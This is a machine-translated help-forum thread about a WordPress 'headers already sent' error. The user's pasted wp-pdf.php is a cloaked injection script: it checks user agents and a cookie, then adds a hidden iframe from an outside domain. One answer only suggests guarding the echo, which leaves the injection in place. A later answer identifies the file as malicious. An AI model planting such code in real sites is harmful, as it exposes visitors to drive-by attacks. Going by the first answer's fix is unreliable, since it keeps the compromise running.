我知道这是一个经典之作:我有来自Wordpress的错误消息:
警告:无法修改标头信息 - 已在/ home / quanscom / public_html / blog / wp-includes / feed中发送的标头(在/home/quanscom/public_html/blog/wp-pdf.php:8中开始输出)第8行的-rss2.php
我知道这通常来自垃圾空间或文件中的一行,但这次似乎有所不同。
我一直在关注所有这些链接:
尤其是这一个:
http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent
但一切都没有改变。正如在上一个链接中所建议的那样,我已经用原始文件替换了这两个文件,但没有任何改变。 请问任何人都能看到一双新鲜的眼睛吗? 谢谢,你会找到以下两页:
wp-pdfphp:
<?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
!@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
if (!is_feed()) {
echo '<script type="text/javascript">
d=new Date();
d.setDate(d.getDate()+1);
document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
</script>';
echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
}
}
?>
feed-rss2.php:
<?php
/**
* RSS2 Feed Template for displaying RSS2 Posts feed.
*
* @package WordPress
*/
header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;
echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
<?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.
答案 0 :(得分:1)
在第8行的wp-pdf.php文件中,您有一个echo语句。在feed-rss2.php中你有一个header()函数,它基本上试图设置响应的头。由于输出已经在wp-pdf.php文件中发生,因此您收到此错误。
要解决此问题,您可以使用此条件包含echo语句。
if (!is_feed()) {
// your echo statement here
}
答案 1 :(得分:0)
仔细看看wp-pdf.php文件代码,它对我来说有点恶意。它将您网页上隐藏的iframe包含在一个看起来非常恶意的域中。此外,代码还会检查页面是否由搜索引擎引用。
我知道你继承了这段代码。你能告诉我这个文件存在的完整路径吗?
修改强>:
我认为您可以删除wp-pdf.php文件。当您删除它时,它可能会在最初包含它的位置生成另一个错误。您也可以去那里删除参考。